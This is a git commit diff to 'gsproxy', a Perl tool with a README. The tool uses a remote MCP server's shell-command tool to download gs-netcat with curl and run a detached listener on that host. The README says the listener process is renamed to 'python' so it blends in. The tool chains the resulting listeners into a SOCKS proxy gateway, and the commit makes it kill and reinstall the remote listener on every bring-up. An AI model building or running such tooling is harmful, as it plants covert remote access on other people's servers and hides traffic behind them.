upd
This commit is contained in:
@@ -126,14 +126,14 @@ The `--daemon` option is a negatable boolean and defaults to on. `--verbose` and
|
|||||||
|
|
||||||
gsproxy has four moving parts: the remote bring-up, the local client, the monitor, and the gateway.
|
gsproxy has four moving parts: the remote bring-up, the local client, the monitor, and the gateway.
|
||||||
|
|
||||||
- Remote bring-up first checks for a listener already running with the same secret and reuses it; only when none is found does it download a gs-netcat build with `curl`, unpack it, and run a gs-netcat listener with `-lSD -s SECRET`. The listening process is renamed to `python` so it blends into the host.
|
- Remote bring-up never reuses a listener: it first pkills any gs-netcat already running for the same secret, then downloads a fresh gs-netcat build with `curl`, unpacks it, and runs a gs-netcat listener with `-lSD -s SECRET`. The listening process is renamed to `python` so it blends into the host.
|
||||||
- The local client runs `gs-netcat -D -p PORT -s SECRET`, which opens a SOCKS listener on `127.0.0.1` at the row's port.
|
- The local client runs `gs-netcat -D -p PORT -s SECRET`, which opens a SOCKS listener on `127.0.0.1` at the row's port.
|
||||||
- The monitor performs a full SOCKS5 handshake against each local port, testing a real CONNECT to a probe host and port. A passing handshake marks the proxy alive.
|
- The monitor performs a full SOCKS5 handshake against each local port, testing a real CONNECT to a probe host and port. A passing handshake marks the proxy alive.
|
||||||
- The gateway accepts SOCKS5 connections on `--bind:--gateway-port` and relays them to the first alive proxy listed in the state file.
|
- The gateway accepts SOCKS5 connections on `--bind:--gateway-port` and relays them to the first alive proxy listed in the state file.
|
||||||
|
|
||||||
### MCP bring-up
|
### MCP bring-up
|
||||||
|
|
||||||
The remote call is an MCP JSON-RPC exchange over HTTP. The script sends an `initialize` request, captures the `Mcp-Session-Id` header, sends the `notifications/initialized` notification, then calls `tools/call` with the name `Tools_Shell_Command`. Responses may be plain JSON or server-sent events, so the body is parsed for the last `data:` line before decoding. Requests are retried up to three times on transport failures. Before downloading, the script probes for an existing listener with the same secret and reuses it when present, so restarts do not stack duplicate gs-netcat processes.
|
The remote call is an MCP JSON-RPC exchange over HTTP. The script sends an `initialize` request, captures the `Mcp-Session-Id` header, sends the `notifications/initialized` notification, then calls `tools/call` with the name `Tools_Shell_Command`. Responses may be plain JSON or server-sent events, so the body is parsed for the last `data:` line before decoding. Requests are retried up to three times on transport failures. Before downloading, the script probes for an existing listener with the same secret and pkills it, so every bring-up reinstalls a fresh remote gs-netcat rather than stacking duplicates.
|
||||||
|
|
||||||
### Monitoring and state
|
### Monitoring and state
|
||||||
|
|
||||||
|
|||||||
+6
-4
@@ -551,12 +551,14 @@ sub bring_up {
|
|||||||
my $port = $e->{port};
|
my $port = $e->{port};
|
||||||
logmsg(qq{bring-up $label: secret } . mask($e->{secret}) . qq{ port $port});
|
logmsg(qq{bring-up $label: secret } . mask($e->{secret}) . qq{ port $port});
|
||||||
if (!$opt{no_mcp}) {
|
if (!$opt{no_mcp}) {
|
||||||
|
# Never reuse an existing listener: pkill any gs-netcat already running
|
||||||
|
# for this secret, then reinstall a fresh copy on every bring-up.
|
||||||
if (remote_listener_alive($e)) {
|
if (remote_listener_alive($e)) {
|
||||||
logmsg('MCP ' . $e->{endpoint} . ': reusing existing remote gs-netcat listener');
|
logmsg('MCP ' . $e->{endpoint} . ': pkill existing remote gs-netcat listener');
|
||||||
} else {
|
mcp_call($e->{endpoint}, teardown_cmd($e->{secret}));
|
||||||
my ($ok, $out) = mcp_call($e->{endpoint}, target_cmd($e->{secret}));
|
|
||||||
logmsg('MCP ' . $e->{endpoint} . ': ' . ($ok ? 'ok' : 'failed') . ' ' . one_line($out));
|
|
||||||
}
|
}
|
||||||
|
my ($ok, $out) = mcp_call($e->{endpoint}, target_cmd($e->{secret}));
|
||||||
|
logmsg('MCP ' . $e->{endpoint} . ': ' . ($ok ? 'ok' : 'failed') . ' ' . one_line($out));
|
||||||
}
|
}
|
||||||
if (!$opt{no_local}) {
|
if (!$opt{no_local}) {
|
||||||
my ($ok, $msg) = start_local($e);
|
my ($ok, $msg) = start_local($e);
|
||||||
|
|||||||
Reference in New Issue
Block a user